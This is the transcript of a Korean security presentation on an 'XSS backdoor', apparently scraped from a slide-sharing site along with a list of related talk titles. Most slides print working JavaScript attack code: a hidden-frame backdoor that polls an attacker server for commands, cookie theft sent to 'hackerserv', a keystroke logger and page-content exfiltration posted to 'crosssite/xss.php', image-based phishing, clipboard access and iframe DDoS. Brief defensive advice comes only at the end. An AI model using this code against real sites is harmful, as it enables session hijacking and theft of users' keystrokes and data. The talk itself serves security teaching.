해킹기법 시연과 대응전략 (XSS Backdoor)

Slides:



Advertisements
Similar presentations
1 08 시스템 구성도 고려사항 * 웹 서버 클러스터 구성  클러스터 구축은 ㈜ 클루닉스의 Encluster 로 구축 (KT 인증,IT 인증 획득, 실제 클러스터 구축 사이트 200 여곳 )  웹 서버 클러스터는 Dynamic, Static, Image.
Advertisements

OpenAPI 의 응용 인공지능 연구실. Artificial Intelligence Laboratory 목차 1.OpenAPI 2.Mashup 3.How can use OpenAPI 4.Various OpenAPIs 5. 실습 2.
프로젝트 제안서 날씨대로 기분대로 팀원 박효민 신준범 정민섭 안성원
- SW_Desing Study Group -
Chapter05 HTML 홈페이지 만들기
1. 개발 시스템 개요.
HACKING 김진수 소준형 유병화.
CHAPTER 16. 모바일 웹페이지.
뇌를 자극하는 Windows Server 2012 R2
김태원 심재일 김상래 강신택. 김태원 심재일 김상래 강신택 인터넷 통신망의 정보를 제공하는 서비스 인터넷의 자원 및 정보는 NIC가 관리 IP주소 또는 도메인으로 정보 검색 이용자 및 통신망 관한 정보를 제공.
OpenAPI의 응용 인공지능 연구실.
Ⅰ웹로그분석을 통한 쇼핑몰 운영전략 코리아 인터넷 마케팅센터 대표 김형택
홈페이지 자동 구축 솔루션 K2 Web WIZARD 2.6 관리자 메뉴얼
WEB ATTACK 학과 : 사이버경찰 담당 교수 : 안미정 교수님 팀장 : 김현경 팀원 : 양현진, 정윤필, 추혜숙
Windows Server 장. Windows Server 2008 개요.
HeartBleed.
Chapter 32 Analyzing Web Traffic
PHP입문 Izayoi 김조흔.
Web Server와 DB 연동.
스크립트 SWF 파일 Exploit Drive by Download 분석.
Web Servers (IIS & Apache)
1. WEB access log 형식 2. WEB access log 위치 3. WEB access log 분석
5장 XSS(cross site script)
Chapter 06 XSS 공격.
125. WAPPLES Policy Setting Guideline
ASP 정 보 보 호 학 과 양 계 탁.
9장 자바스크립트.
Chapter05 오디오와 비디오 HTML5 Programming.
HTML5를 이용한 모바일 웹 앱 학과:컴퓨터 시뮬레이션 학과 학번: / 이름:이성진 / 정지영.
Javascript Basic Sample Programs
HTML5+CSS3 실무 테크닉 김은기 저.
뇌를 자극하는 Windows Server 장. Windows Server 2008 개요.
~ 초콜릿 공작소 ~ 프로젝트 완료 조은아.
04장 웹 보안: 웹, 그 무한한 가능성과 함께 성장한 해킹
ASP.NET AJAX 비동기 게시판 작성 2007 컴퓨터공학실험( I )
Grade Server Team14. Attention Seeker
Network Security WireShark를 활용한 프로토콜 분석 II.
저수준의 시각적 효과 jQuery의 기본 효과.
Web Basic 김영성 인천대 OneScore
반응형 웹 프로젝트
1강. 웹프로그래밍 웹프로그래밍이란? JAVA웹 웹프로그램의 동작 필요한 학습 Lecturer Kim Myoung-Ho
Web Vulnerabilities 정보 보호 2008/05/31 Getroot.
9장 웹 사이트 초기 화면 제작 한빛미디어(주).
CGI (Common Gateway Interface)
HTTP 프로토콜의 요청과 응답 동작을 이해한다. 서블릿 및 JSP 를 알아보고 역할을 이해한다.
Wi-Fi 취약점 분석 본 프로젝트는 Wi-Fi 환경에서의 취약점 분석을 위한 프로젝트로 다양한 공격방법을 테스트
CGI (Common Gateway Interface)
ASP.NET AJAX / AJAX Control Toolkit 응용 2008 컴퓨터공학실험( I )
1장. HTML5 소개 To Flash 정보영재세미나 1 김태영교수님 홍창의.
웹디자인
Chapter 34. Advanced Web Page Options
VTalk Solution 소개자료
Chapter05 HTML 홈페이지 만들기 HTML & JavaScript.
홈페이지 제작 스토리 보드 제작 방식 : 맞춤형 제작.
Canary value 스택 가드(Stack Guard).
Level 0 Level 1 Level 2 Level 3 공모전 후기 모음 웹 서비스 1. 웹 페이지 설계 2. 웹 서버 구현
Chapter08 JavaScript 시작하기
시스템 인터페이스 Lab#5 쉡 실습.
KISTI Supercomputing Center 명훈주
.Net Web Application 2007 컴퓨터공학실험(Ⅰ)
웹 애플리케이션 보안 Trend 인포섹㈜ 신수정 상무
9 브라우저 객체 모델.
임베디드 시스템 개론 3주차.
견적서 웹사이트 구축 프로젝트를 위한 웹사이트 구축을 위한 견적서 양식으로써 기업 자체적으로 인건비
웹과 모바일 홈페이지의 이해와 제작 웹기획 & 제작
트위치 트게더 Twitogether 김준희.
CCIT 네트워크 발표 정보보호학과 평문 사이트와 SSL 사이트, SSL strip과 데이터 변조를 이용한 로그인 취약점
8주 실습강의 학기, 소프트웨어 설계 및 실험(Ⅰ).
XSS 취약점을 이용한 웹메일 해킹
디지털광고 구동 원리 전중달 CTO.
Presentation transcript:

해킹기법 시연과 대응전략 (XSS Backdoor) http://hellsonic.tistory.com

OWASP Top 10

어디서나 쉽게 발견되는 XSS

How Does XSS Work? JavaScript

How Does XSS Work? MITM Request 스니핑 변조된 Response ARP 스푸핑을 이용한 XSS

XSS Backdoor

XSS Backdoor 의 원리 ㉠. 현재 프레임을 100%,100%으로 생성 - 실제 보여질 페이지 (main 프레임) ㉡. 부모 페이지에서(hack frame) main 프레임을 제어 hack frame에서 main frame 조작가능 사용자가 페이지 이동을 하여도 hack frame 은 유지되고 main frame에서만 페이지 이동. Hack frame에서는 해커서버의 파일을 지속적으로 열어서 실행(실시간 명령가능) XSS Shell

IFRAME의 특성 Target Browser Hack Frame Width:0 Height:0 Main Window View Frame None Display Frame

Cross Domain http://www.aaa.com http://www.bbb.com

Cross Domain http://id.domain.com http://login.domain.com

Frame의 생성으로 제어가능 www.aaa.com Frame 1 Frame 2 (www.aaa.com)

XSS Backdoor - Time Line User Attacker Server Inject XSS Code Visit Server Receive XSS and infected Request Command Page(Ajax) setInterval (req(),3000); Receive Command and excute

XSS Backdoor 시연

XSS Backdoor 시연 http://175.115.221.25/isec/

hack.js (jquery) var data = ‘HackFrame<script src=http://hackerserv/control.php?cookie='+document.cookie+'></'+'script><script src=http://hackerserv/'+document.cookie+'.js></'+'script>');’; var str += "<iframe frameborder=0 id=mainframe name=mainframe height='100%' width=80% src=./ style='float:left'></iframe>"; str += "<div id=hackfr style='float:left;'>HackFRAME</div>"; str += "<script>"; str += "function hack(){"; str += “ $('#hackfr').html(data)"; str += “ setTimeout('hack()',5000);"; str += "}"; str += “ setTimeout('hack()',50);" str += "<"+"/script>"; $("body",parent.document).html(str);

Keylogger(jquery) $('#mainframe').keydown(function(event){ $.get(http://crosssite/xss.php?data=+event.keyCode,function(){ }); })

Change Banner (jquery) $('#mainframe').contents().find(‘#mainbanner').html(“Hi isec!”);

$(“img”).attr(“src”, “http://hack/hacker.jpg”); 이미지 변조 피싱 (jquery) 모든 이미지의 변조 $(“img”).attr(“src”, “http://hack/hacker.jpg”);

Page Viewer(jquery) var code = $('#mainframe').contents().find('html').html(); //code 변수에 mainframe의 코드가 모두 담김 Access Mail Service Frame

Cross Domain POST 전송 Hack Frame Width:0 Height:0 Main Frame View Frame 1. None Display Frame 생성 2. FORM(method=post) 생성 3. Input 생성 -> 전송 값 삽입 4. 전송 View Frame None Display Frame

Cross Domain POST 전송 function crossDomainPost(hackdata) { var iframe = document.createElement('iframe'); var uniqueString = 'hack2'; document.body.appendChild(iframe); iframe.style.display = 'none'; iframe.contentWindow.name = uniqueString var form = document.createElement('form'); form.target = uniqueString; form.action = 'http://crosssite/xss.php?cookie='+document.cookie; form.method = 'POST'; var input = document.createElement('input'); input.type = 'hidden'; input.name = 'data'; input.value = hackdata; form.appendChild(input); document.body.appendChild(form); form.submit(); document.removeChild(input); document.removeChild(form); document.removeChild(iframe); } var hackdata = $('#mainframe').contents().find('html').html(); crossDomainPost(hackdata);

Clipboard Steal //ClipBoard Access var cp = "clip board!"; window.clipboardData.setData('Text', cp);

Clipboard Steal ZeroClipboard 플래시(swf)를 이용한 경고없는 Clipboard Access Cross-Browser 지원 http://code.google.com/p/zeroclipboard/

DDOS

DDOS(IFRAME)

사용자가 입력한 <, > 를 HTML 인코딩 함으로써 XSS 대응방안 Server-Side < < > > 사용자가 입력한 <, > 를 HTML 인코딩 함으로써 스크립트 사용을 방지 But.. !! 필터링을 할 수 없는 경우 ?

왜 <, > 필터링을 할 수 없는가?

100% 대응방안? 3주 만에 총 지급상금 4만 달러 초과!

그럼 어떻게 ? DTD 선언 (웹 표준 준수) <a style=“xss:expression(alert(/xss/));”> 2. XSS Database 구축(정규식 이용) (script -> x-script 치환 등..) “script” -> “” * “scrscriptipt” -> “script” 3. 웹 개발자의 보안 인식 강화 4. 주기적인 보안 컨설팅, 취약점 점검 5. 서비스 사용자의 보안 인식 강화 6. 필요로 하지 않는 사이트는 게시판 에디터(HTML)의 사용을 금지 7. 중요한(로그인, 관리자) 페이지와 XSS취약점이 있을수 있는 페이지의 도메인 분리

감사합니다! Question ? korea.hellsonic@gmail.com